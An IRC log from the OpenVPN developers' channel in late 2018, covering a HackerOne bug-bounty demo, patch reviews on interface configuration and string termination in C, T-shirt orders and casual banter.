11:11 <@cron2> shouldn't we have screen sharing or something? 11:11 <@ordex> maybe when the demo starts 11:11 <@cron2> and it does not work in the browser... chrome wants to start firefox, firefox wants to download "a linux client" 11:12 <@ordex> cron2: in firefox I just used the link that dazo sent via email in his last reply 11:12 <@ordex> and it worked 11:14 <@cron2> ah, indeed, that works. Why is the invite not working? 11:14 <@cron2> stupid product 11:15 <@ordex> no clue 11:15 <@plaisthos> I am still confused who or why we are into this HackerOne 11:15 <@ordex> plaisthos: :D we were basically recommended 11:15 <@ordex> like samuli is saying 11:15 <@plaisthos> ah 11:15 <@plaisthos> that clears up many things :D 11:15 <@ordex> :D 11:18 <@syzzer> are you seeing anything? 11:18 <@cron2> yes, screen 11:18 <@syzzer> I'm still looking at a black screen... 11:18 <@cron2> plus a still video from John 11:19 <@ordex> syzzer: are you also using the in-browser app ? 11:19 <@syzzer> yeah, firefox on ubuntu 11:20 <@syzzer> now trying chrome 11:20 <@ordex> ok, firefox here too and it seems to be working 11:20 <@cron2> I tried chrome and it worked (using dazo's link) 11:21 <@cron2> but since my desktop has no microphone I'm sticking to the ipad (which needs an App) 11:22 <@syzzer> chrome does work, probably because of no installed privacy plugins... 11:24 <@ordex> am I the only one feeling awkard about having all the security reports of openvpn potentially go through unknown people ? 11:24 <@plaisthos> lets discuss it on the hackathon 11:25 <@cron2> yep 11:25 <@plaisthos> but I am not convinced yet either 11:25 * cron2 is also not convinced yet that we need yet another bugtracker-with-bounties 11:25 <@ordex> yap 11:25 <@plaisthos> it might make a lot more sense in a big company that they have a specialised bug tracker etc. for security 11:25 <@dazo> I'm on the same page as you guys 11:25 <@ordex> dazo: write here because cron2 won't read otherwise 11:26 <@plaisthos> where you people that coordinate that 11:26 <@ordex> :) 11:26 <@plaisthos> Unless you are apple and don't care about that :P 11:26 <@ordex> :P 11:27 <@cron2> apple is fully secure and doesn't need such fanciness 11:27 <@ordex> :D 11:27 <@ordex> of course ! 11:29 <@ordex> but is ibb-openvpn already live? if so, have we been contacte din the past about bugs submitted there ? 11:29 <@cron2> it went live like 4 weeks ago, and we have received a handful of totally crappy reports 11:29 <@cron2> like, one report just pasting a patch from syzzer into the form 11:30 <@dazo> lol 11:30 <@cron2> the other one reporting a session-jumping issue on www.openvpn.net 11:30 <@ordex> ok, so we get a message automatically when somebody posts something there ? 11:30 <@cron2> and our special friend reported THE MANAGEMENT INTERFACE IS FULLY INSECURE! YOU CAN HACK IT FROM A BROWSER! again 11:30 <@plaisthos> don't forget the report that my app does not hide password from screen recording software 11:30 <@cron2> yeah, plus this one :) 11:32 <@ordex> mah, I really don't like having a front-end managed by somebody else that collects security issues for openvpn - feels very weird to me, but I am just paranoid 11:32 <@syzzer> based on the report we are getting, I keep thinking that the 'hurdle' of sending an email to security@ is a feature, rather than a problem... 11:33 <@dazo> syzzer++ 11:33 <@dazo> and if we make PGP mandatory ..... 11:33 <@ordex> syzzer: !! :D 11:33 * cron2 totally agrees :) 11:33 <@plaisthos> but with security@ less people can look at it! 11:33 <@ordex> dazo: yeah, people that can't use gpg and want to send a bug report are likely to report something not-interesting 11:34 <@dazo> have a clever filter in front, bouncing unencrypted mails .... problem solved 11:34 <@cron2> ok, need to leave -> feed the kids 11:34 <@ordex> oky 11:34 <@cron2> fully trust in you to have a nice discussion at the hackathon :) 11:35 <@dazo> :) 11:35 <@ordex> dazo: when somebody sends the email is already too late to recommend to encrypt it :P 11:35 <@dazo> yeah, I just want to avoid the noise of nonsense ;-) 11:35 <@dazo> "if you can't encrypt, you're not worthy our attention" 11:35 <@ordex> :D 11:36 <@dazo> or they could sign up for a protonmail account, which does the pgp stuff automatically 11:36 <@ordex> we can write that on cron2's forehead while he's sleeping at the hackathon 11:36 <@dazo> :-P 11:36 <@plaisthos> we write "talk only in code to this guy" on his forehead? 11:36 <@ordex> xD 11:37 <@plaisthos> Like Bavarian. BUt then again cron2 probably cannot understand that either 11:37 <@dazo> :-P 11:37 <@plaisthos> I feel like John is on the run, so fast as he speaking 11:38 <@dazo> probably from NYC 11:38 <@ordex> well, we have no questions...he's just following the script 11:39 <@ordex> basically this platform will allow any script kiddie to submit somthing :^) 11:42 <@dazo> so .... then we have stuff like this ... https://mailcatcher.me/ ... what if that got extended to actually file a ticket via some REST calls to whatever backend we choose to trust? 11:42 <@vpnHelper> Title: MailCatcher (at mailcatcher.me) 11:43 <@ordex> dazo: he question is if we need a backend :p 11:43 <@ordex> in the last 2 years I have been around I think I have seen 5 reports in total - wouldn't be just overhead? 11:43 <@ordex> *the question 11:44 <@dazo> yeah ... but we have lost track of some issues, because they lingered too long 11:44 <@dazo> so some way to ensure we don't loose track would be beneficial 11:44 <@ordex> yap 11:44 <@ordex> can't we have a non-public project in the community bug tracker? 11:45 <@ordex> in redmine you can do that .. so when you open a ticket there only authenticated users can see the issues 11:45 <@dazo> hmmm 11:46 <@plaisthos> I am confused that https://hackerone.com/ibb-openvpn shows bounties 11:46 <@vpnHelper> Title: HackerOne (at hackerone.com) 11:46 <@plaisthos> how is paying those? 11:46 <@ordex> plaisthos: ibb is paying 11:46 <@dazo> IBB ... https://internetbugbounty.org/ 11:46 <@vpnHelper> Title: The Internet Bug Bounty | Rewarding friendly hackers who contribute to a more secure internet (at internetbugbounty.org) 11:46 <@plaisthos> dazo: ah 11:47 <@ordex> and they would keep on paying for openvpn (FOSS) bugs even if we get involved 12:06 <@ordex> how can we be sure that ibb will timely inform us when receiving bug rpeorts through hackerone? the fact that they were allowed to open a project page without being invlved in openvpn is a bit fishy to me 12:06 <@plaisthos> My app is linked on that page and I only knew about it because someone told me that there is a bug report for it 12:07 <@ordex> lol 12:07 <@ordex> feels a bit against the responsible disclosure principle to me 12:07 <@plaisthos> anyway, I have got to go now => sports 12:36 <@cron2> re 12:37 < tincantech> T-shirt pleasse : https://dpaste.de/QYne 12:38 < tincantech> i took a few liberties ;) 12:38 <@cron2> oh, t-shirt 12:38 <@cron2> mattock1: T-Shirt!!! 12:39 <@mattock1> argh those 12:39 <@mattock1> dazo will have to do the design again 12:39 <@mattock1> then I can order them and they may arrive on time 12:39 < tincantech> please see my paste ;) 12:40 <@mattock1> dazo: ^^^ your graphical design skills are needed! 12:40 <@mattock1> :) 12:40 < tincantech> then protomail can become sponsors (if not already) 12:41 <@mattock1> indeed 12:43 <@dazo> hehe 12:43 <@dazo> mattock1: oh dear ... :-P 12:44 <@dazo> mattock1: not sure I can manage anything in a timely manner before this years' hackathon though ;-) 12:44 < tincantech> nice one to keep on the back birner ;) 12:44 < tincantech> u* 12:45 <@dazo> :) 12:46 <@dazo> I wonder if I'm going through a degrading or upgrading process .... going from reasonable C skills, to C++ and getting requests for graphical design ....... 12:46 <@dazo> and *then* getting .... 12:51 <@cron2> maybe people worry about what damage you might do to code, and try to keep you away... *duck* 12:51 < tincantech> dazo: a la, interview with a vampire: "I am going to give you the C I was never given.." 12:52 <@dazo> :-P 13:05 <@ecrist> dazo make me a sandwich 13:06 <@ecrist> https://xkcd.com/149/ 13:06 <@vpnHelper> Title: xkcd: Sandwich (at xkcd.com) 13:07 <@dazo> systemd: Unkown command. Did you mean systemctl start sandwitch-maker? 13:10 <@ecrist> man woman 13:10 <@ecrist> No manual entry for woman 13:11 <@ordex> core dumped 13:11 <@dazo> reminds me of the old DOS joke ... "Who the hell is General Failure and why the f**k is he reading my hard drive?" 13:12 <@ecrist> heh 13:14 < tincantech> lolld 13:18 < tincantech> omg .. this is horrible but : sudo vote --candidate "donald trump" 13:19 < tincantech> total apologies .. going away now 13:35 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:53 -!- krzie [9465c167@openvpn/community/support/krzee] has joined #openvpn-devel 15:53 -!- mode/#openvpn-devel [+v krzie] by ChanServ 15:54 < tincantech> better coloUr : https://dpaste.de/OJoH 16:21 <@plaisthos> dazo: we have like a terrible translation joke for "no space left on device" => Kein Weltraum links vom Geraet => No universe on the left side of the device 16:25 <@dazo> :-D --- Day changed Thu Sep 27 2018 01:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:49 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:21 < SCHAPiE> lol :D 03:52 <@ordex> lol : 03:52 <@ordex> :D 03:55 <@cron2> plaisthos: can you give syzzer's memleak a quick review? then I can merge later today 08:22 <@ordex> ecrist: top-posting anybody? :-P 08:23 <@ecrist> twice, even 08:23 <@ordex> :D 08:23 <@ordex> I see! 08:24 <@ecrist> I used to be very invested in the anti-top-post crowd. 08:24 <@ecrist> Then I had kids, and realized, at the end of the day, there's more important things to worry about. 08:26 <@cron2> than anti-top-post? hardly! 08:26 <@ordex> :D 08:26 <@cron2> you need to preserve mail quoting culture for your kids! 08:26 <@ordex> who's going to teach them not to top-post ?! 08:26 <@ordex> :D 08:26 <@ordex> I think in Munich you might go to jail for top-posting! 08:26 <@ecrist> lol 08:27 <@cron2> even if I wish it were so, unfortunately, all hope is lost 08:27 <@ecrist> kmail used to be the bomb for mail clients. great GPG support, didn't try to top-post for you, etc 08:28 <@ecrist> I use a Mac these days (since ~2002) and Apple Mail top posts. But it has good GPG support these days. 08:28 <@ecrist> with a plugin* 08:28 <@ordex> I hardly believe it has no setting for that 08:28 <@ordex> :-P 08:29 <@ecrist> it actually doesn't appear to 08:29 <@ecrist> I have looked. 08:29 <@ordex> I hope Mail's developer will be forgiven for this. 08:30 <@ordex> :p 08:30 <@cron2> there's a new variant of this, btw 08:31 <@ordex> kidding of course, but I believe emails are just easier to read if quoted properly 08:31 <@cron2> do a full quote of everything, and just add one sentence below the whole 08:31 <@ordex> hehe 08:31 <@cron2> ordex: yes! 08:31 <@cron2> (which is even more amusing if quoting a full-quote-with-top-post or two) 08:31 <@ordex> lol 08:32 <@ecrist> It gets complicated when you have multiple replies and those replies all comment within the original reply. 08:32 <@cron2> as far as my kids are concernend, I don't think the Internet is going to survive much longer anyway, so it's becoming moot 08:32 <@ecrist> And then there's the plaintext vs rich text/html argument. 08:32 <@ecrist> *gasp* 08:32 <@ordex> ecrist: you can still edit the quoted email 08:32 <@cron2> people do not want "Internet". they want "TV with more channels", plus whatsapp 08:32 <@ordex> I do that often when replying to patches 08:32 <@ecrist> I actually have started to appreciate formatted rich text in normal email. plain text still rules for automated messages, though 08:32 <@ordex> cron2: I hope I will be n a remote island by then 08:32 <@ordex> :P 08:33 <@ordex> ecrist: fine if the recipient has a choice to see plaintext 08:33 <@ordex> imho 08:33 <@ecrist> that's up to the mail client 08:34 <@ordex> you mean the sending client ? 08:35 <@ordex> because I think it will "prepare" the email with dual format so that the recipient can see one or the other (or this is the case only for html?) 08:35 <@ecrist> yes, the sending client. It should do both. 08:36 <@ordex> yap 08:36 <@ordex> ok 08:38 <@cron2> nah, this is brokenness. people get used to "I have marked the relevant bits in red" on the sending side, so if you have no rich text on the receiving side, you're lost 08:39 <@cron2> the whole concept of multipart/alternative wasn't properly thought through 08:39 <@cron2> it only works for trivial cases, and in those you do not need the rich text bits anyway 08:41 <@ordex> hehe I found myself in the blue/red situation too 08:41 <@ordex> that's because people don't know about proper quoting 08:41 <@ordex> so when they talk among themselves the blue/red thing works 09:02 <+lev__> If I understand code right, interactive service functionality (interactive.c) is a part of openvpnserv (according to Makefile.am in openvpnserv directory). What is openvpnserv2 then ? 09:11 <+lev__> (got answer from mattock) 09:33 <@ordex> ecrist: :D 09:33 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 09:37 <@ecrist> ;) 10:13 -!- krzie [9465c167@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds] 11:56 < tincantech> in future, to save you a little headache, grammatically, this "which \- if used correcly \- can" should really be "which, if used correctly, can" .. commas are the valid separator, \- is only wasting your valuable cycles ;) 11:58 <@ecrist> wft are you getting on about? 12:04 < tincantech> plaisthos: knows ;) 12:22 < tincantech> plaisthos: did you mean to make --tls-ciphersuites plural ? --tls-cipher takes a list too .. it's just that it threw me a curve ball when testing 12:52 <@vpnHelper> RSS Update - gitrepo: Fix memory leak in SSL_CTX_use_certificate <https://github.com/OpenVPN/openvpn/commit/5544f47b0eb31e516aa8afbb68579e35e69cf7e7> 23:33 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:33 -!- mode/#openvpn-devel [+o mattock1] by ChanServ --- Day changed Fri Sep 28 2018 03:12 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 04:36 <@ordex> cron2: I am staring at #451, specifically at the SOLARIS part 04:36 <@ordex> I feel confused because the code does not fully match what the comment above said 04:37 <@ordex> on top of that I don't fully understand the difference between the last if branch and the else 04:37 <@ordex> do you have 2 mins to look at this with me ? 04:37 <@ordex> I am in do_ifconfig() 04:49 <@cron2> ordex: mmmh? 04:49 <@ordex> cron2: let me make that simple, because I am twisting my brain hehe 04:49 <@cron2> trac #451? 04:49 <@ordex> cron2: question: is expected that TUN+NET30 is treated like TAP ? 04:50 <@ordex> cron2: no PW 451 04:50 <@ordex> patchwork 04:50 <@ordex> azz 04:50 <@ordex> 452 04:50 <@ordex> https://patchwork.openvpn.net/patch/452/ 04:50 <@vpnHelper> Title: [Openvpn-devel] Fix combination of --dev tap and --topology subnet across multiple platforms. - Patchwork (at patchwork.openvpn.net) 04:50 <@cron2> ordex: there is TUN/p2p, TUN/Net30 and TAP, which on most platforms need different ifconfig calls 04:50 <@cron2> s/net30/topology-subnet/ 04:50 <@cron2> not "net30" 04:50 <@cron2> net30 is point-to-point 04:50 <@cron2> let me start again: 04:51 <@cron2> 1. TUN/p2p (also "net30") with "no subnet, but local+remote IP addresses" 04:51 <@ordex> ok, so is_tun_p2p returns true for tun && (net30 || p2p) 04:51 <@ordex> ok 04:51 <@cron2> 2. TUN/subnet (topology subnet), with "a subnet of arbitrary size connected to the tun interface" 04:51 <@cron2> 3. TAP, which is *always* "a subnet" due to "it pretends to be ethernet" 04:51 <@ordex> ok, so case 1. is when (tun == true) 04:51 <@ordex> ok 04:51 <@ordex> makes more sense now 04:52 <@ordex> ok, thanks for clarifying this point 04:52 <@cron2> this is "the old way" openvpn did in 1.x, topology subnet was "the new thing in 2.0" if I remember right 04:52 <@ordex> the other point is: on solaris you say "we need two calls to setup the interface" but you do two calls only for tun{p2p,net30} - is that expected ? 04:52 <@ordex> "you say" as in "the comment says" 04:55 <@cron2> not sure. This is old code, but it passes t_client tests for net30/subnet/tap, so "this seems to be correct" 04:56 <@cron2> I never tested whether this is still needed for current solaris, but given their other ifconfig specials, I tend to believe that there is a reason... 04:57 <@ordex> ok 04:57 <@ordex> another thing is that poor solaris misses the mtu setting in one case 04:57 <@ordex> this may deserve an additional patch later 04:57 <@cron2> oops :-) - yes 04:58 <@ordex> ok 04:58 <@ordex> other than this the patch looks good. linux is much simpler because we have no "three-branches-if" 04:58 <@ordex> so this kind of logic applies only to BSD-like systems 04:58 <@ordex> so not much to compare with other platforms 04:58 <@ordex> I will reply to the mailing list :) 04:59 <@cron2> Linux is happy with doing "tun/subnet" the same as "tap/subnet", which is very convenient :-) 04:59 <@ordex> only one minor comment: if (!tun && tt->type == DEV_TYPE_TUN && tt->topology == TOP_SUBNET) <<< the "!tun" is redundant as the second part of the if already implies it 04:59 <@ordex> yap about linux :) 05:00 <@ordex> but we can keep the !tun for clarity 05:00 <@cron2> for 2.4 I want to make this an enum and get rid of "tun", as it just adds to confusion... 05:01 <@ordex> I guess you meant 2.5 ? 05:01 <@cron2> yes 05:01 <@ordex> yup yup 05:01 <@cron2> just had 3 hour long meeting about budget planning... my brain is... molten 05:02 <@ordex> hehe 05:23 <@syzzer> ordex: any plans for looking at tls-crypt-v2 ? 05:31 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:31 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:25 <@ordex> syzzer: yes, just everything going terribly slow on my side :( 06:25 <@ordex> syzzer: yes, just everything going terribly slow on my side :( 09:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 11:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:59 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] --- Log closed Sat Sep 29 05:49:24 2018 --- Log opened Mon Oct 01 06:45:57 2018 06:45 -!- Irssi: #openvpn-devel: Total of 30 nicks [8 ops, 0 halfops, 1 voices, 21 normal] 06:45 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 06:46 -!- Irssi: Join to #openvpn-devel was synced in 12 secs 06:47 -!- You're now known as ecrist 07:03 <@mattock1> guys: T-shirt sizes please 07:03 <@mattock1> I'm making the order 07:03 <@mattock1> good thing I'm doing this early, so that there's no risk that I have to send the T-shirts via snail mail 07:03 <@mattock1> :P 07:07 <@plaisthos> wow more magic openssl 1.1.1 erros; rsa_ossl_private_encrypt:unknown padding type 07:15 <@syzzer> mattock1: M for me please :) 07:16 <@plaisthos> mattock1: XXL 07:18 <@plaisthos> mattock1: be careful. You only addressed guys here! The future female developers will all now be sacred and feel unwelcome (If you believe some social justice warriors) 07:35 <@mattock1> guys generally refers to women as well :P 07:35 <@mattock1> or so I hope 07:36 <@plaisthos> I also forgot a ;) smiley 07:36 <@plaisthos> mattock1: :) 07:36 <@mattock1> I believe cron2 had an XL last time 07:39 <@mattock1> final review https://www.spreadshirt.fi/luo-itse?product=514711192&view=1#?affiliateId=1246955&orgn=CYO&netw=LI 07:39 <@vpnHelper> Title: Luo itse | Spreadshirt (at www.spreadshirt.fi) 07:51 <@mattock1> urgh, the shirts may not arrive by hackathon 07:52 <@mattock1> damn 07:52 <@mattock1> the most expensive delivery option _may_ be quick enough, but there's no guarantee 07:54 <@plaisthos> Isn't spreadshirt a German company? 07:54 <@plaisthos> so if we send it to me it could be fast enough, maybe? 07:55 <@mattock1> it seems to be German, yes --- Log closed Mon Oct 01 07:57:22 2018 --- Log opened Mon Oct 01 07:58:59 2018 07:58 -!- Irssi: #openvpn-devel: Total of 30 nicks [8 ops, 0 halfops, 1 voices, 21 normal] 07:59 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:59 -!- Irssi: Join to #openvpn-devel was synced in 24 secs 08:00 <@mattock1> anyways, I think I'll have to risk it and take the quickest possible delivery 08:00 <@plaisthos> mattock1: I am alrady traveling on the 4th 08:01 <@plaisthos> so that would already too late :/ 08:15 <@mattock1> I ordered them as express delivery to Helsinki to maximize the chances of getting them on time 08:15 <@mattock1> note to self: the next time order earlier 08:17 <@cron2> plaisthos: "Bananas"? Now my brain is wrecked and I'll never be able to memorize the proper name of the currency again 08:17 <@mattock1> :P 08:18 <@plaisthos> I did not start with the bananas trend, someone else, I think either lev or antonio start calling them bananas 08:19 <@plaisthos> but I am leaning towards antonio since lev__ can actually pronounce Grwwwnahs (or something like that) 08:22 <@cron2> I see mattock1 is having fun with our Indian TAP wranglers... 08:28 <@plaisthos> hu? 08:28 <@plaisthos> openvpn-devel ml or where? 08:31 <@cron2> some sort of private ml for jon, me, mattock and the indians... 08:33 <@plaisthos> ah okay 08:33 <@plaisthos> Hello Sir, can you please tell how to make tap driver work? 08:33 <@plaisthos> *ducks* 08:46 <@cron2> nah, this is "we are having huge problems with these WHQL tests!!!" 08:46 <@cron2> silenc 08:46 <@cron2> silence 08:46 <@cron2> silence 08:46 <@cron2> silence 08:46 <@cron2> silence 08:46 <@cron2> "ok, we'll find a NDIS developer to help with this" 08:46 <@cron2> "sir, we have already invested 80 hours (sic!) in fixing most of the issues!" 08:47 <@plaisthos> so two devloper weeks 08:47 <@plaisthos> and have nothing to show for it? 08:47 <@cron2> yep. This is part is good, but they didn't bother to tell us "we're working on it and have already fixed quite a bit of the issues, and btw, here's a patch" 08:49 <@plaisthos> cron2: but still no patch or so? 08:50 <@plaisthos> let me guess: It is our code and we want to have it only our product to have competitive advantage 08:50 <@plaisthos> (speaking from experience with people using my apps code) 08:51 <@cron2> plaisthos: nah, they expect to be paid by mattock for delivering, so I'm not worried about not seeing the code eventually :) 08:52 <@cron2> the total lack of communication while they were busy working on this annoys me - mattock was already looking for an alternate solution 08:52 <@plaisthos> yeah 08:52 <@plaisthos> sounds a bit like extortion 08:57 <@ordex> I have to be honest, this was expected :P unless it's the first time you work with this kind of companies from that particular area 08:57 <@ordex> this is why cheap sometimes means "more expensive" 08:59 <@ordex> we can't even exclude that they haven't fixed anything, but just changed things pretending to be wrong 09:19 <@cron2> ordex: I expected the process to be somewhat annoying, but this was annoying in a different way 09:19 <@cron2> usually they are "sir, please tell me what to do!" style annoying 09:21 <@ordex> hehe, that's true for other situations :D 09:21 <@plaisthos> ordex: or fixed the warning that are easy to fix but totally not helpful for fixing the actual problem 09:21 <@plaisthos> and of these warning fixes is actually wrong and introduces a bug 09:21 <@ordex> :D 09:22 <@plaisthos> comp-lzo only crashes on my android app on 32 bit android (arm-eabi-v7a) and not on the 64bit phones 09:23 <@plaisthos> completely weird 09:26 <@cron2> I can see why you want to get rid of compression :) 09:27 <@plaisthos> cron2: it only started this build 09:27 <@plaisthos> which also uses a new clang compiler 09:55 <@plaisthos> mattock1: my tip, get hold of something that proves that they did good work 09:55 <@plaisthos> i.e. report before their changes and report after their changes that shows actual improvement 13:10 * cron2 tested Uber today. Amazingly convenient :-) 13:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 18:05 <@vpnHelper> RSS Update - tickets: #1119: iOS 12: Constantly disconnections with v3.0.1 on my iPad Pro 2.Gen!😡😞 <https://community.openvpn.net/openvpn/ticket/1119> --- Day changed Tue Oct 02 2018 01:15 <@cron2> good morning 01:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:36 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:02 <@cron2> oh, a mattock has appeared 02:02 <@cron2> on the meeting tomorrow that wasn't announced yesterday - I won't make it unless it's raining hard here :) 02:12 <@mattock1> argh yes 02:12 <@mattock1> well today is tuesday, so not all hope is lost 02:12 <@mattock1> :P 02:12 <@mattock1> I'll prepare the agenda 02:13 <@mattock1> oh we have one: https://community.openvpn.net/openvpn/wiki/Topics-2018-10-03 02:13 <@vpnHelper> Title: Topics-2018-10-03 – OpenVPN Community (at community.openvpn.net) 02:13 <@mattock1> that said, maybe pre-planning hackathon topics would make sense? 02:34 <@cron2> Wednesday is holiday here, and if it does not rain, I need to go to Oktoberfest with the kids - and the only time not to be trampled to death is "10 am"... so won't be back before 1300-ish 02:47 <@mattock1> I would be fine with postponing to 13:30 your time 02:47 <@mattock1> everybody could eat their lunches before the meeting 03:05 <@mattock1> anyone else has any preferences regarding wednesday's meeting schedule? 03:05 <@mattock1> or "skip the meeting as hackathon is almost upon us" 03:18 <@ordex> skipping would be fine with me as I don't have much to discuss on my side 03:25 <@dazo> ordex: that tomu looks incredibly cool! (and dangerous) 03:26 <@ordex> hehe 03:27 <@dazo> I'm missing the comparison to Nitrokey Pro 2 though :-P 03:28 <@dazo> (but this one is far more versatile though) 03:30 <@dazo> mattock1: I'm open to move it to 13:30 or even 14:00 04:58 <@plaisthos> I need to help a friend moving 04:58 <@plaisthos> tommorrow is a public holiday in German 05:45 <@ordex> good excuse to sneak into the oktoberfest .. 05:57 <@ordex> :p 06:02 <@cron2> plaisthos lives on the other end of Germany... a single day vacation "just for Oktoberfest" can be done (and people do it) but it's insane 06:51 <@ordex> hehe I can imagine 06:58 <@plaisthos> yeah 06:58 <@plaisthos> it is 4h by train 06:58 <@plaisthos> or 50 min flight + 1h train (in Munich) 07:46 < tincantech> There is a thread on the forum which may be of interest to you if you use Windows Server 2016 : https://forums.openvpn.net/viewtopic.php?f=6&t=27173&p=81545#p81545 07:46 <@vpnHelper> Title: Slow outbound network speed for Windows Server 2016 only via the OpenVPN tunnel - OpenVPN Support Forum (at forums.openvpn.net) 07:47 < tincantech> I am posting the link here to ask for your input as this may be important to openvpn (or it may just be a coincedence) 07:48 < tincantech> tia 07:48 < tincantech> kitsune1: I believe you use Windows ^ 09:22 <@mattock1> let's skip the meeting tomorrow then 09:22 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 09:42 <@ordex> ok 10:04 < kitsune1> tincantech: the server 2016 issue appears interesting but no idea as I've never run a server or client on server-2016. The forum post is pretty detailed and technical -- I would suggest the OP to post it to the devel list or trac to get proper attention.. 10:11 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 10:14 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:14 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 10:15 <@plaisthos> whelp, my lzo seem like a compiler bug 10:15 <@plaisthos> openvpn3 also has problems with lzo :( 10:17 < tincantech> kitsune1: thanks :) 11:24 <@plaisthos> hm mattock is offline 11:24 <@plaisthos> but we should put https://community.openvpn.net/openvpn/wiki/VORACLE on the agenda 11:24 <@vpnHelper> Title: VORACLE – OpenVPN Community (at community.openvpn.net) 11:56 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:56 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 13:18 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] --- Day changed Wed Oct 03 2018 01:04 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:04 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:16 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 02:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:09 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:19 -!- Netsplit *.net <-> *.split quits: @syzzer 02:32 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 02:32 -!- ServerMode/#openvpn-devel [+o syzzer] by verne.freenode.net 03:14 -!- Netsplit *.net <-> *.split quits: @syzzer 03:27 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 03:27 -!- ServerMode/#openvpn-devel [+o syzzer] by verne.freenode.net 03:45 <+lev__> in interactive.c there is lots of code which does 03:46 <+lev__> swprintf(buf, _countof(buf), ...) 03:46 <+lev__> buf[_countof(buf) - 1] = L'\0'; 03:47 <+lev__> what is the point of setting last item to L'\0', just a precaution ? 03:51 -!- Netsplit *.net <-> *.split quits: @syzzer 04:01 <@dazo> lev__: yes, it's defensive programming, to ensure strings truly are NULL terminated 04:02 <@dazo> Depending on the compiler and the allocation method used, the buf may or may not be filled with 0. 04:05 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 04:05 -!- ServerMode/#openvpn-devel [+o syzzer] by verne.freenode.net 05:57 <@ordex> dazo: I think fprintf guarantees that no? 06:00 <@dazo> fprintf() doesn't work with memory buffers ..... but snprintf() is fragile - can easily end up with buffer overruns ... see our openvpn_snprintf() for details 06:04 <@ordex> the variant s'n'printf guarantees that by design. I think what you refer to is a old bug that existed on some platforms, where the \0 was not always written. might that be the case ? 06:07 <@ordex> anyway, better use the provided openvpn_ function for sure :P 06:10 <@ordex> indeed the comment says that 06:42 <+lev__> I also noticed that in some cases we use vsnprintf and manually add null terminator, for example buffer.c:258 or pkcs11,c:180 06:44 <+lev__> There is one case when we do not do it, push.c:585 (push_options_fmt) 06:45 <+lev__> va_start(arglist, format); 06:45 <+lev__> len = vsnprintf(tmp, sizeof(tmp), format, arglist); 06:45 <+lev__> va_end(arglist); 06:45 <+lev__> if (len > sizeof(tmp)-1) 06:45 <+lev__> { 06:45 <+lev__> return false; 06:45 <+lev__> } 06:45 <+lev__> push_option_ex(gc, push_list, string_alloc(tmp, gc), true, msglevel); 06:45 <+lev__> return true; 06:45 <+lev__> should't we use openvpn_vsnprintf or add null terminator manually ? 07:55 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 08:32 <@cron2> ask syzzer, he wrote that piece 09:04 -!- lev__ [~lev__@openvpn/corp/lev] has quit [Ping timeout: 260 seconds] 09:06 -!- lev__ [~lev__@openvpn/corp/lev] has joined #openvpn-devel 09:06 -!- mode/#openvpn-devel [+v lev__] by ChanServ 09:41 <@dazo> ordex: it's unfortunate that various C implementations can be so consistently inconsistent that we need to wrap critical functions just to avoid surprises :/ Just read the "CONFORMING TO" and "BUGS" section of man printf(3) and weep 09:42 <@ordex> yeah 09:43 <@dazo> I _do_ understand why people have arguments for new languages (like Golang and Rust) ... but only until similar stupid mistakes happens there too 09:44 < tincantech> ordex: could you please take a look here : https://forums.openvpn.net/viewtopic.php?f=36&t=27183#p81582 09:44 <@vpnHelper> Title: Compression Hardcoded On With No Option? - OpenVPN Support Forum (at forums.openvpn.net) 09:44 <@dazo> tincantech: point the user at https://community.openvpn.net/openvpn/wiki/VORACLE 09:44 <@vpnHelper> Title: VORACLE – OpenVPN Community (at community.openvpn.net) 09:45 <@dazo> still a draft, but should be in a decent state 09:47 <@cron2> dazo: I had a brief encounter with the Golang ecosystem, and while the language might be brilliant, the overall ecosystem is very... hipsterlike 09:47 <@cron2> by default, if you want to build a package, all prerequisites are fetched automatically and behind your back from github, and always "HEAD" 09:47 <@cron2> there is no versioning for dependencies 09:47 <@cron2> like, "version 1.1.x of that library" 09:47 <@cron2> none 09:47 <@cron2> at all 09:48 <@cron2> so if you pull in 5 libraries, and one of them has pushed something which is an incompatible change to another library, you cannot build 09:48 <@dazo> yeah ... I hate that ... rust is no different 09:49 <@cron2> with rust I had less exposure (well, my gentoo build of firefox failed because gentoo 